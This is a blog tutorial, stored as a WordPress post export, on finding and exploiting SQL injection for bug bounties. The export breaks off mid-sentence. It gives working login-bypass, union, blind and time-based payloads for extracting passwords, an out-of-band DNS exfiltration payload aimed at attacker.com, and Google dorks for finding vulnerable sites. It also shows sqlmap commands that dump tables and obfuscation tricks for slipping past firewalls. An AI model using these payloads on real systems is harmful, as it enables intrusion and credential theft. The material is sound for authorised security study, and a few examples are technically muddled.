{"id":3387,"date":"2025-05-30T12:38:35","date_gmt":"2025-05-30T12:38:35","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=3387"},"modified":"2025-05-30T12:38:35","modified_gmt":"2025-05-30T12:38:35","slug":"mastering-sql-injection-recon-step-by-step-guide-for-bug-bounty-hunters","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=3387","title":{"rendered":"Mastering SQL Injection Recon \u2013 Step-by-Step Guide for Bug Bounty Hunters"},"content":{"rendered":"<p>Picture this: You\u2019re testing a website, and with a simple tweak to a login form\u2014<strong>BAM!<\/strong>\u2014you trick the database into spilling its secrets. No password? No problem. That\u2019s the power of <strong>SQL Injection (SQLi)<\/strong>, one of the most dangerous (and profitable) vulnerabilities in web security.<\/p>\n<p>Despite being around for decades, SQLi remains a <strong>goldmine for bug bounty hunters<\/strong>. Why? Because developers still screw it up\u2014<strong>constantly<\/strong>. From small apps to Fortune 500 companies, flawed database queries leave the door wide open for attackers. And where there\u2019s risk, there\u2019s reward.<\/p>\n<h4 class=\"wp-block-heading\"><strong>Why This Guide?<\/strong><\/h4>\n<p>Most SQLi tutorials either drown you in theory or tell you to blindly run <strong>sqlmap<\/strong> and pray. Not here. This guide is <strong>hands-on, tactical, and built for real-world hunting<\/strong>. You\u2019ll learn:<br \/> <strong>How to spot SQLi like a detective<\/strong>\u2014even when there are no obvious errors.<br \/> <strong>Manual exploitation tricks<\/strong> that automated tools miss.<br \/> <strong>How to bypass WAFs<\/strong> (because modern defenses don\u2019t scare us).<br \/> <strong>Turning flaws into bounties<\/strong> with professional reports that get paid.<\/p>\n<h3 class=\"wp-block-heading\"><strong>A Quick Reality Check<\/strong><\/h3>\n<p> <strong>This is not a \u201chack everything\u201d free-for-all.<\/strong> Unauthorized testing = illegal. Stick to <strong>bug bounty programs, CTFs, and legal labs<\/strong>. We play by the rules\u2014because getting banned (or worse) isn\u2019t worth it.<\/p>\n<p>Ready to <strong>level up your SQLi game<\/strong> and start cashing in? Let\u2019s dive in. <\/p>\n<h2 class=\"wp-block-heading\"><strong>Understanding SQL Injection Fundamentals<\/strong> <\/h2>\n<p><a href=\"https:\/\/codelivly.com\/sql-injection-101-understanding-the-basics-of-sql-injection-attacks\/\">SQL Injection<\/a> (SQLi) is a vulnerability that lets attackers <strong>interfere with a web application\u2019s database queries<\/strong>. But to exploit it effectively, you need to understand <strong>how databases work, where injections happen, and what makes them dangerous<\/strong>.<\/p>\n<p>Let\u2019s break it down in simple terms.<\/p>\n<h3 class=\"wp-block-heading\"><strong>2.1 How SQL Queries Work in Web Applications<\/strong><\/h3>\n<p>When you log into a website, search for products, or load user profiles, the app communicates with a <strong>database<\/strong> using <strong>SQL (Structured Query Language)<\/strong>.<\/p>\n<h4 class=\"wp-block-heading\"><strong>Example: A Simple Login Query<\/strong><\/h4>\n<p>SELECT * FROM users WHERE username = &#8216;[user_input]&#8217; AND password = &#8216;[user_input]&#8217;;<\/p>\n<p>If you enter admin and password123, the query becomes:<\/p>\n<p>  SELECT * FROM users WHERE username = &#8216;admin&#8217; AND password = &#8216;password123&#8217;;<\/p>\n<p>If the credentials match, you log in.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Where SQL Injection Happens<\/strong><\/h3>\n<p>If the app <strong>doesn\u2019t properly sanitize user input<\/strong>, an attacker can <strong>modify the query<\/strong>. For example:<\/p>\n<p><strong>Malicious Input:<\/strong> &#8216; OR 1=1 &#8212;<\/p>\n<p><strong>Modified Query:<\/strong><\/p>\n<p>  SELECT * FROM users WHERE username = &#8221; OR 1=1 &#8211;&#8216; AND password = &#8216;anything&#8217;;<\/p>\n<p><strong>What Happens?<\/strong><\/p>\n<p>OR 1=1 \u2192 Always true, so the query returns <strong>all users<\/strong>.<\/p>\n<p>&#8212; \u2192 Comments out the rest, ignoring the password check.<\/p>\n<p><strong>Result:<\/strong> You log in as the first user (often an admin).<\/p>\n<h3 class=\"wp-block-heading\"><strong>2.2 Types of SQL Injection<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>1. In-Band SQLi (Direct Results Visible)<\/strong><\/h3>\n<p><strong>Error-Based:<\/strong> The database <strong>leaks errors<\/strong> (e.g., syntax mistakes) that reveal sensitive data.<\/p>\n<p><em>Example:<\/em> &#8216; AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) &#8212;<\/p>\n<p><strong>Union-Based:<\/strong> Uses UNION SELECT to <strong>append stolen data<\/strong> to normal results.<\/p>\n<p><em>Example:<\/em> &#8216; UNION SELECT username, password FROM users &#8212;<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. Blind SQLi (No Direct Output)<\/strong><\/h3>\n<p><strong>Boolean-Based:<\/strong> The app behaves differently based on true\/false conditions.<\/p>\n<p><em>Example:<\/em> &#8216; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#8217;admin&#8217;)=&#8217;a&#8217; &#8212;<\/p>\n<p>If the first letter of the password is \u2018a\u2019, the page loads normally. Otherwise, it fails.<\/p>\n<p><strong>Time-Based:<\/strong> Uses <strong>delays<\/strong> (SLEEP(), WAITFOR DELAY) to infer data.<\/p>\n<p><em>Example:<\/em> &#8216; AND IF(1=1, SLEEP(5), 0) &#8212;<\/p>\n<p>If the condition is true, the page takes <strong>5 seconds<\/strong> to load.<\/p>\n<h3 class=\"wp-block-heading\"><strong>3. Out-of-Band SQLi (Data Exfiltrated via External Channels)<\/strong><\/h3>\n<p>Rare but powerful\u2014uses <strong>DNS or HTTP requests<\/strong> to leak data.<\/p>\n<p><em>Example (MySQL):<\/em><br \/>sql &#8216; UNION SELECT LOAD_FILE(CONCAT(&#8216;\\\\&#8217;, (SELECT password FROM users LIMIT 1), &#8216;.attacker.com\\share\\&#8217;)) &#8212;<\/p>\n<p>If successful, the password is sent as a <strong>DNS lookup<\/strong> to the attacker\u2019s server.<\/p>\n<h3 class=\"wp-block-heading\"><strong>2.3 Common Database Systems &amp; Their Quirks<\/strong><\/h3>\n<p>Different databases have <strong>unique syntax and functions<\/strong>, so your payloads must adapt.<\/p>\n<p><strong>Database<\/strong><strong>Key Differences<\/strong><strong>MySQL<\/strong>Uses # or &#8212; for comments. Functions: VERSION(), DATABASE(), SLEEP().<strong>PostgreSQL<\/strong>Uses &#8212; for comments. Functions: current_user, pg_sleep(5).<strong>MS SQL Server<\/strong>Uses &#8212; or \/* *\/. Functions: WAITFOR DELAY &#8216;0:0:5&#8217;, SELECT @@version.<strong>Oracle<\/strong>Requires FROM dual. Comments: &#8211;. Functions: UTL_HTTP.request, DBMS_LOCK.SLEEP(5).<strong>SQLite<\/strong>Simple, often used in mobile apps. No WAITFOR DELAY\u2014time-based attacks are rare.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways<\/strong><\/h3>\n<p> <strong>SQLi happens when user input is not sanitized.<\/strong><br \/> <strong>Three main types:<\/strong> In-Band (Error\/Union), Blind (Boolean\/Time), Out-of-Band.<br \/> <strong>Different databases = different syntax.<\/strong> Adjust your payloads accordingly.<\/p>\n<p>Now that you <strong>get the basics<\/strong>, let\u2019s move to <strong>finding SQLi in the wild<\/strong>!  <\/p>\n\n<h2 class=\"wp-block-heading\"><strong>Reconnaissance for SQL Injection Vulnerabilities<\/strong><\/h2>\n<p>Before you can exploit SQL injection, you need to <strong>find vulnerable inputs<\/strong>\u2014the places where a web app talks to its database. This is <strong>reconnaissance (recon)<\/strong>, and it\u2019s where most beginners fail.<\/p>\n<p>Let\u2019s break it down step by step.<\/p>\n<h3 class=\"wp-block-heading\"><strong>3.1 Identifying Potential Injection Points<\/strong><\/h3>\n<p>Not all input fields are vulnerable. You need to find where the app <strong>interacts with the database<\/strong>. Here\u2019s where to look:<\/p>\n<h3 class=\"wp-block-heading\"><strong>1. Input Fields (Forms, Search Boxes, Logins)<\/strong><\/h3>\n<p><strong>Login pages<\/strong> (username, password)<\/p>\n<p><strong>Search bars<\/strong> (products, users, articles)<\/p>\n<p><strong>Contact forms, filters, comment sections<\/strong><\/p>\n<p><strong>How to test?<\/strong><\/p>\n<p>Add a <strong>single quote (&#8216;)<\/strong> and see if it breaks the query (error messages = good sign).<\/p>\n<p>Try basic payloads like:<\/p>\n<p>&#8216; OR 1=1 &#8212;<\/p>\n<p>&#8221; OR &#8220;1&#8221;=&#8221;1<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. URL Parameters (GET Requests)<\/strong><\/h3>\n<p>Look for URLs like:<\/p>\n<p>  https:\/\/example.com\/profile?id=1<br \/>\n  https:\/\/example.com\/search?q=test<\/p>\n<p>Test by tampering with the parameter:<\/p>\n<p>  https:\/\/example.com\/profile?id=1&#8242;<br \/>\n  https:\/\/example.com\/profile?id=1 AND 1=1<\/p>\n<h3 class=\"wp-block-heading\"><strong>3. HTTP Headers (Hidden Inputs)<\/strong><\/h3>\n<p>Some apps use headers for database queries. Check:<\/p>\n<p><strong>Cookies<\/strong> (session tokens, tracking IDs)<\/p>\n<p><strong>User-Agent<\/strong> (some apps log it in the DB)<\/p>\n<p><strong>Referer<\/strong> (some analytics systems store it)<\/p>\n<p><strong>How to test?<\/strong><\/p>\n<p>Use Burp Suite or OWASP ZAP to modify headers and inject SQL:<\/p>\n<p>  User-Agent: &#8216; OR 1=1 &#8212;<br \/>\n  Cookie: sessionid=1&#8242; AND (SELECT 1 FROM users WHERE username=&#8217;admin&#8217;)=1 &#8212;<\/p>\n<h3 class=\"wp-block-heading\"><strong>4. API Endpoints (POST\/JSON\/XML Inputs)<\/strong><\/h3>\n<p>Many modern apps use APIs (REST, GraphQL).<\/p>\n<p>Test <strong>POST requests<\/strong> with JSON\/XML input:<\/p>\n<p>  { &#8220;username&#8221;: &#8220;admin&#8217; &#8211;&#8220;, &#8220;password&#8221;: &#8220;anything&#8221; }<\/p>\n<h3 class=\"wp-block-heading\"><strong>3.2 Using Google Dorks to Find SQLi Targets<\/strong><\/h3>\n<p>Google can help you find <strong>potentially vulnerable sites<\/strong> with simple search tricks:<\/p>\n<h3 class=\"wp-block-heading\"><strong>Common Google Dorks for SQLi<\/strong><\/h3>\n<p><strong>Search Query<\/strong><strong>What It Finds<\/strong>inurl:index.php?id=URLs with numeric parameters (common in PHP apps)inurl:item.php?cat=Category pages (often SQL-based)intext:&#8221;Warning: mysql_fetch_array()\u201cSites leaking MySQL errorsinurl:login.phpLogin pages (SQLi in auth forms)<\/p>\n<p><strong>Example:<\/strong><\/p>\n<p>inurl:index.php?id= site:example.com<\/p>\n<p>\u2192 Finds pages with id= parameters on example.com.<\/p>\n<h3 class=\"wp-block-heading\"><strong>3.3 Analyzing Error Messages for SQLi Clues<\/strong><\/h3>\n<p><strong>Error messages = goldmine for SQLi.<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>Common Database Errors<\/strong><\/h3>\n<p><strong>Error<\/strong><strong>What It Means<\/strong>You have an error in your SQL syntaxMySQL syntax error (vulnerable!)Unclosed quotation markSQL injection likely possibleORA-00933: SQL command not properly endedOracle database errorMicrosoft OLE DB Provider for SQL ServerMSSQL database leak<\/p>\n<p><strong>What to do?<\/strong><\/p>\n<p>If you see errors, <strong>the app is likely vulnerable<\/strong>.<\/p>\n<p>Try <strong>union-based or error-based<\/strong> exploitation next.<\/p>\n<h3 class=\"wp-block-heading\"><strong>3.4 Probing with Basic Payloads (Boolean Checks)<\/strong><\/h3>\n<p>Before full exploitation, confirm with <strong>boolean tests<\/strong>:<\/p>\n<h3 class=\"wp-block-heading\"><strong>1. Always True vs. Always False<\/strong><\/h3>\n<p><strong>True Condition:<\/strong> &#8216; OR 1=1 &#8212; \u2192 Page loads normally.<\/p>\n<p><strong>False Condition:<\/strong> &#8216; AND 1=2 &#8212; \u2192 Page breaks or shows no results.<\/p>\n<p><strong>If behavior changes \u2192 SQLi is likely.<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>2. Time-Based Checks (Blind SQLi)<\/strong><\/h3>\n<p><strong>MySQL:<\/strong> &#8216; AND SLEEP(5) &#8212;<\/p>\n<p><strong>MSSQL:<\/strong> &#8216; WAITFOR DELAY &#8216;0:0:5&#8217; &#8212;<\/p>\n<p><strong>PostgreSQL:<\/strong> &#8216; AND pg_sleep(5) &#8212;<\/p>\n<p><strong>If the page delays \u2192 SQLi confirmed.<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways<\/strong><\/h3>\n<p> <strong>Test all inputs<\/strong> (forms, URLs, headers, APIs).<br \/> <strong>Use Google Dorks<\/strong> to find vulnerable sites quickly.<br \/> <strong>Error messages = your best friend<\/strong> for detecting SQLi.<br \/> <strong>Boolean &amp; time-based tests<\/strong> confirm blind SQLi.<\/p>\n<p>Now that you\u2019ve found a potential SQLi, it\u2019s time to <strong>exploit it properly<\/strong>! <\/p>\n<h2 class=\"wp-block-heading\"><strong>Manual SQL Injection Testing Techniques \u2013 Let\u2019s Get Hands-On!<\/strong><\/h2>\n<p>Alright, you\u2019ve found a juicy input field that might be vulnerable to SQLi. Now what? Time to <strong>stop guessing and start exploiting<\/strong>\u2014manually!<\/p>\n<p>Forget just running sqlmap like a script kiddie. Real bug hunters <strong>understand the attack<\/strong> before automating it. Let\u2019s break it down.<\/p>\n<h3 class=\"wp-block-heading\"><strong>4.1 Error-Based SQLi \u2013 When the Database Spills Its Guts<\/strong><\/h3>\n<p><strong>Scenario:<\/strong> You type a <strong>&#8216;<\/strong> and boom\u2014the site vomits a database error. Jackpot!<\/p>\n<h3 class=\"wp-block-heading\"><strong>How to Exploit It:<\/strong><\/h3>\n<p><strong>Break the query<\/strong> to force an error:<\/p>\n<p>   &#8216; AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) &#8212;<\/p>\n<p>If you see a <strong>\u201cConversion failed\u201d<\/strong> error, congrats\u2014you just leaked a table name!<\/p>\n<p><strong>Steal data from errors:<\/strong><\/p>\n<p>   &#8216; AND 1=0 UNION SELECT 1,@@version,3 &#8212;<\/p>\n<p>Some apps <strong>display errors with query results<\/strong>\u2014now you see the database version.<\/p>\n<p><strong>Why it\u2019s awesome:<\/strong><\/p>\n<p>Instant feedback.<\/p>\n<p>No guessing\u2014just straight-up <strong>data leaks in error messages<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>4.2 Union-Based SQLi \u2013 The Classic Data Heist<\/strong><\/h3>\n<p><strong>Scenario:<\/strong> The site shows data (like product listings or user info), and you want to <strong>append stolen data<\/strong> to it.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Step 1: Find the Number of Columns<\/strong><\/h3>\n<p>Use ORDER BY until the page breaks:<\/p>\n<p>  &#8216; ORDER BY 5 &#8212;  # Works?<br \/>\n  &#8216; ORDER BY 10 &#8212; # Breaks?  <\/p>\n<p>If ORDER BY 5 works but ORDER BY 6 fails \u2192 <strong>5 columns<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Step 2: Find Which Columns Are Visible<\/strong><\/h3>\n<p>Inject dummy data with UNION SELECT:<\/p>\n<p>  &#8216; UNION SELECT 1,2,3,4,5 &#8212;<\/p>\n<p>If numbers <strong>2 and 4<\/strong> appear on the page, those are <strong>displayed columns<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Step 3: Steal Everything<\/strong><\/h3>\n<p>Replace visible columns with real data:<\/p>\n<p>  &#8216; UNION SELECT 1,username,3,password,5 FROM users &#8212;<\/p>\n<p>Boom! Now you see <strong>usernames and passwords<\/strong> in the output.<\/p>\n<p><strong>Why it\u2019s awesome:<\/strong><\/p>\n<p>Works on <strong>many older (and some newer) apps<\/strong>.<\/p>\n<p>Lets you <strong>dump entire tables<\/strong> in one go.<\/p>\n<h3 class=\"wp-block-heading\"><strong>4.3 Blind SQLi \u2013 When the App Plays Hard to Get<\/strong><\/h3>\n<p><strong>Scenario:<\/strong> No errors, no data leaks\u2014just a <strong>subtle change<\/strong> in behavior. Time to play detective.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Boolean-Based (Yes\/No Games)<\/strong><\/h3>\n<p>Ask the database <strong>true\/false questions<\/strong>:<\/p>\n<p>  &#8216; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#8217;admin&#8217;)=&#8217;a&#8217; &#8212;<\/p>\n<p>If the page loads normally \u2192 first letter of the password is <strong>a<\/strong>.<\/p>\n<p>If it breaks \u2192 try <strong>b<\/strong>, <strong>c<\/strong>, etc.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Time-Based (The \u201cAre You Awake?\u201d Trick)<\/strong><\/h3>\n<p>Force delays to confirm SQLi:<\/p>\n<p>  &#8216; AND IF(1=1, SLEEP(5), 0) &#8212;  # Page takes 5 seconds? SQLi confirmed!<\/p>\n<p>Extract data <strong>one character at a time<\/strong>:<\/p>\n<p>  &#8216; AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)=&#8217;a&#8217;, SLEEP(5), 0) &#8212;<\/p>\n<p>If the page hangs for 5 sec \u2192 <strong>first letter is a<\/strong>.<\/p>\n<p><strong>Why it\u2019s awesome:<\/strong><\/p>\n<p>Works even on <strong>super locked-down apps<\/strong>.<\/p>\n<p>Slow but <strong>super stealthy<\/strong> (WAFs often miss it).<\/p>\n<h3 class=\"wp-block-heading\"><strong>4.4 Second-Order SQLi \u2013 The Sneaky Time Bomb<\/strong><\/h3>\n<p><strong>Scenario:<\/strong> The app <strong>stores your input<\/strong> and uses it later in a vulnerable query.<\/p>\n<h3 class=\"wp-block-heading\"><strong>How It Works:<\/strong><\/h3>\n<p>You submit a \u201cusername\u201d like:<\/p>\n<p>   admin&#8217; &#8212;<\/p>\n<p>Later, the app runs:<\/p>\n<p>   UPDATE users SET last_login=NOW() WHERE username=&#8217;admin&#8217; &#8211;&#8216;;<\/p>\n<p>Now <strong>everyone logs in as admin<\/strong> because the query is broken.<\/p>\n<p><strong>Why it\u2019s scary:<\/strong><\/p>\n<p>Harder to detect (no immediate error).<\/p>\n<p>Can <strong>bypass front-end protections<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways<\/strong><\/h3>\n<p> <strong>Error-Based SQLi<\/strong> \u2192 Leak data via error messages.<br \/> <strong>Union-Based SQLi<\/strong> \u2192 Steal data by appending it to legit results.<br \/> <strong>Blind SQLi<\/strong> \u2192 Use boolean or time delays to extract data bit by bit.<br \/> <strong>Second-Order SQLi<\/strong> \u2192 Poison the database for future attacks.<\/p>\n<p>Now you\u2019re <strong>not just finding SQLi\u2014you\u2019re exploiting it like a pro<\/strong>. <\/p>\n\n<h1 class=\"wp-block-heading\"><strong>5. Automated SQL Injection Detection Tools \u2013 Work Smarter, Not Harder<\/strong><\/h1>\n<p>Manually testing for SQLi is fun, but let\u2019s be real\u2014<strong>you don\u2019t have all day<\/strong>. That\u2019s where automation comes in. These tools do the heavy lifting so you can focus on <strong>exploiting the good stuff<\/strong>.<\/p>\n<p>Here\u2019s your cheat sheet for <strong>the best SQLi hunting tools<\/strong>.<\/p>\n<h3 class=\"wp-block-heading\"><strong>5.1 SQLmap \u2013 The Godfather of SQL Injection<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>What It Does:<\/strong><\/h3>\n<p>Detects <strong>all types of SQLi<\/strong> (error-based, union, blind, out-of-band).<\/p>\n<p>Automatically <strong>dumps databases, tables, and even files<\/strong>.<\/p>\n<p>Bypasses <strong>WAFs<\/strong> (Web Application Firewalls) like a boss.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Basic Usage:<\/strong><\/h3>\n<p>sqlmap -u &#8220;http:\/\/example.com\/page?id=1&#8221; &#8211;batch<\/p>\n<p>&#8211;batch \u2192 Auto-picks default options (no annoying prompts).<\/p>\n<h3 class=\"wp-block-heading\"><strong>Pro-Level Exploitation:<\/strong><\/h3>\n<p><strong>Dump all databases:<\/strong><\/p>\n<p>  sqlmap -u &#8220;http:\/\/example.com\/page?id=1&#8221; &#8211;dbs<\/p>\n<p><strong>Steal table data:<\/strong><\/p>\n<p>  sqlmap -u &#8220;http:\/\/example.com\/page?id=1&#8221; -D database_name -T users &#8211;dump<\/p>\n<p><strong>Bypass WAFs with tamper scripts:<\/strong><\/p>\n<p>  sqlmap -u &#8220;http:\/\/example.com\/page?id=1&#8221; &#8211;tamper=space2comment<\/p>\n<p><strong>Why It\u2019s Awesome:<\/strong><br \/> <strong>Saves hours of manual testing.<\/strong><br \/> <strong>Can crack even tricky SQLi cases.<\/strong><br \/> <strong>Has stealth modes to avoid detection.<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>5.2 Burp Suite \u2013 The Hacker\u2019s Best Friend<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>What It Does:<\/strong><\/h3>\n<p>Intercepts web traffic (great for <strong>hidden SQLi in POST requests<\/strong>).<\/p>\n<p>Automates <strong>fuzzing<\/strong> (throwing SQLi payloads at inputs).<\/p>\n<h3 class=\"wp-block-heading\"><strong>How to Use It for SQLi:<\/strong><\/h3>\n<p><strong>Intercept a request<\/strong> (e.g., login form submission).<\/p>\n<p><strong>Send to Repeater<\/strong> (right-click \u2192 \u201cSend to Repeater\u201d).<\/p>\n<p><strong>Modify parameters<\/strong> with SQLi payloads:<\/p>\n<p>   username=admin&#8217; OR 1=1 &#8211;&amp;password=whatever<\/p>\n<p><strong>Check responses<\/strong> for errors or unusual behavior.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Bonus: Turbocharged Fuzzing with Intruder<\/strong><\/h3>\n<p>Highlight a parameter \u2192 <strong>\u201cSend to Intruder\u201d<\/strong>.<\/p>\n<p>Load <strong>SQLi payloads<\/strong> (predefined lists in Burp).<\/p>\n<p><strong>Launch attack<\/strong> \u2192 See which payloads break the app.<\/p>\n<p><strong>Why It\u2019s Awesome:<\/strong><br \/> <strong>Perfect for testing APIs and complex inputs.<\/strong><br \/> <strong>Combines well with manual testing.<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>5.3 OWASP ZAP \u2013 Free &amp; Powerful Alternative<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>What It Does:<\/strong><\/h3>\n<p>Scans for <strong>SQLi, XSS, and more<\/strong>.<\/p>\n<p>Great for <strong>beginners<\/strong> (easier setup than Burp).<\/p>\n<h3 class=\"wp-block-heading\"><strong>Basic Scan:<\/strong><\/h3>\n<p>Enter target URL \u2192 <strong>\u201cAttack\u201d \u2192 \u201cActive Scan\u201d<\/strong>.<\/p>\n<p>Check <strong>\u201cSQL Injection\u201d<\/strong> in the scan options.<\/p>\n<p><strong>Review results<\/strong> for vulnerabilities.<\/p>\n<p><strong>Why It\u2019s Awesome:<\/strong><br \/> <strong>Open-source (free forever).<\/strong><br \/> <strong>Good for quick scans.<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>5.4 NoSQLi Tools \u2013 For MongoDB, Firebase, etc.<\/strong><\/h3>\n<p>Not all databases use SQL! <strong>NoSQLi<\/strong> targets apps using:<\/p>\n<p><strong>MongoDB<\/strong><\/p>\n<p><strong>Firebase<\/strong><\/p>\n<p><strong>CouchDB<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>Tool: NoSQLmap<\/strong><\/h3>\n<p>nosqlmap -u http:\/\/example.com\/api &#8211;data &#8216;{&#8220;user&#8221;:&#8221;*&#8221;}&#8217; &#8211;method POST<\/p>\n<p>Tests for <strong>NoSQL injection<\/strong> (like {&#8220;$ne&#8221;: &#8220;&#8221;} bypasses).<\/p>\n<p><strong>Why It\u2019s Awesome:<\/strong><br \/> <strong>Finds vulnerabilities others miss.<\/strong><\/p>\n<h3 class=\"wp-block-heading\"><strong>5.5 Other Helpful Tools<\/strong><\/h3>\n<p>ToolPurpose<strong>Havij<\/strong>Old but GUI-friendly (Windows only).<strong>jSQL Injection<\/strong>Lightweight, Java-based.<strong>DSSS<\/strong> (Damn Small SQLi Scanner)Minimalist Python script.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways<\/strong><\/h3>\n<p> <strong>SQLmap<\/strong> \u2192 Best for <strong>full exploitation<\/strong> (dumping data, bypassing WAFs).<br \/> <strong>Burp Suite<\/strong> \u2192 Best for <strong>manual testing + automation<\/strong>.<br \/> <strong>OWASP ZAP<\/strong> \u2192 Free alternative for <strong>quick scans<\/strong>.<br \/> <strong>NoSQLmap<\/strong> \u2192 For <strong>MongoDB\/Firebase<\/strong> injections.<\/p>\n<p><strong>Automation saves time, but always verify manually!<\/strong> Some vulnerabilities <strong>only show up with human intuition<\/strong>.<\/p>\n\n<h2 class=\"wp-block-heading\"><strong>Bypassing Web Application Protections \u2013 Outsmarting WAFs Like a Ninja<\/strong><\/h2>\n<p>So you found a sweet SQLi vulnerability, but the site has a <strong>Web Application Firewall (WAF)<\/strong> blocking your attacks? No worries\u2014let\u2019s <strong>trick, evade, and bypass<\/strong> those defenses.<\/p>\n<p>WAFs (like Cloudflare, ModSecurity, AWS WAF) are designed to stop attacks, but <strong>they\u2019re not perfect<\/strong>. With the right tricks, you can slip past them.<\/p>\n<h3 class=\"wp-block-heading\"><strong>6.1 Evading WAF Rules \u2013 The Art of Sneaky Queries<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>1. Obfuscation (Making Your Payload Unrecognizable)<\/strong><\/h3>\n<p>WAFs look for <strong>common SQLi patterns<\/strong> (UNION SELECT, OR 1=1, SLEEP()), so we disguise them:<\/p>\n<p><strong>Hex Encoding<\/strong><\/p>\n<p>  UNION SELECT \u2192 UNI\/**\/ON SEL\/**\/ECT<br \/>\n  &#8216; OR 1=1 &#8212;  \u2192 x27 OR 1=1 &#8212;<\/p>\n<p><strong>Comment Splitting<\/strong><\/p>\n<p>  SELECT\/*random*\/username\/*random*\/FROM users<\/p>\n<p><strong>String Concatenation<\/strong><\/p>\n<p>  &#8216; OR &#8216;a&#8217;=&#8217;a&#8217;  \u2192 &#8216; OR &#8216;a&#8217;=&#8217;b&#8217;=&#8217;a<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. Case Variation &amp; Null Bytes<\/strong><\/h3>\n<p><strong>Randomize uppercase\/lowercase<\/strong> (some WAFs are case-sensitive):<\/p>\n<p>  uNiOn SeLeCt 1,2,3<\/p>\n<p><strong>Add null bytes<\/strong> (%00) to break WAF parsing:<\/p>\n<p>  &#8216; OR 1=1%00 &#8212;<\/p>\n<h3 class=\"wp-block-heading\"><strong>3. Time-Based Bypass (When All Else Fails)<\/strong><\/h3>\n<p>If the WAF blocks SLEEP(), try <strong>alternative delays<\/strong>:<\/p>\n<p><strong>MySQL:<\/strong><\/p>\n<p>  &#8216; AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C) &#8212;<\/p>\n<p>(This creates a <strong>heavy query<\/strong> that slows the server.)<\/p>\n<p><strong>MSSQL:<\/strong><\/p>\n<p>  &#8216;; WAITFOR DELAY &#8216;0:0:5&#8217; &#8212;<\/p>\n<h3 class=\"wp-block-heading\"><strong>6.2 Bypassing Input Sanitization<\/strong><\/h3>\n<p>Some apps <strong>filter or escape<\/strong> quotes (&#8216;, &#8220;). Here\u2019s how to bypass:<\/p>\n<h3 class=\"wp-block-heading\"><strong>1. Using Non-String Inputs<\/strong><\/h3>\n<p><strong>Numeric fields?<\/strong> No quotes needed!<\/p>\n<p>  id=1 OR 1=1<\/p>\n<p><strong>Boolean bypass:<\/strong><\/p>\n<p>  admin&#8217; AND true &#8212;<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. Alternative Quote Styles<\/strong><\/h3>\n<p><strong>Backticks (`)<\/strong> (MySQL):<\/p>\n<p>  SELECT * FROM `users` WHERE `username`=0x61646d696e<\/p>\n<p><strong>Brackets [ ]<\/strong> (MSSQL):<\/p>\n<p>  SELECT * FROM [users] WHERE [username]=&#8217;admin&#8217;<\/p>\n<h3 class=\"wp-block-heading\"><strong>6.3 Advanced Bypass Techniques<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>1. HTTP Parameter Pollution (HPP)<\/strong><\/h3>\n<p>Send <strong>duplicate parameters<\/strong> to confuse the WAF:<\/p>\n<p>GET \/page?id=1&amp;id=2&#8242; UNION SELECT 1,2,3 &#8212;<\/p>\n<p>(Some WAFs check only the <strong>first id=<\/strong>, while the server uses the <strong>last one<\/strong>.)<\/p>\n<h3 class=\"wp-block-heading\"><strong>2. JSON\/XML Injection<\/strong><\/h3>\n<p>If the app uses <strong>APIs<\/strong>, try:<\/p>\n<p>{ &#8220;user&#8221;: &#8220;admin&#8217; &#8211;&#8221; }<\/p>\n<p>or<\/p>\n<p>&lt;user&gt;admin&#8217; &#8211;&lt;\/user&gt;<\/p>\n<h3 class=\"wp-block-heading\"><strong>3. Charset Bypass (Weird Encodings)<\/strong><\/h3>\n<p><strong>UTF-8, UTF-16, URL encoding<\/strong>:<\/p>\n<p>  %EF%BC%87 OR 1=1 &#8212;  (Unicode apostrophe)<\/p>\n<h3 class=\"wp-block-heading\"><strong>6.4 Real-World WAF Bypass Examples<\/strong><\/h3>\n<h3 class=\"wp-block-heading\"><strong>Cloudflare Bypass<\/strong><\/h3>\n<p>id=1 AND\/*!50000 1=0*\/ UNION ALL SELECT 1,database(),3,4<\/p>\n<p>\/*!50000 &#8230; *\/ is a <strong>MySQL conditional comment<\/strong> that bypasses some WAFs.<\/p>\n<h3 class=\"wp-block-heading\"><strong>ModSecurity Bypass<\/strong><\/h3>\n<p>id=1&#8242; AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables)) &#8212;<\/p>\n<p>Uses <strong>type conversion<\/strong> to hide the attack.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Key Takeaways<\/strong><\/h3>\n<p> <strong>Obfuscation<\/strong> \u2192 Break up payloads with comments, hex, and random 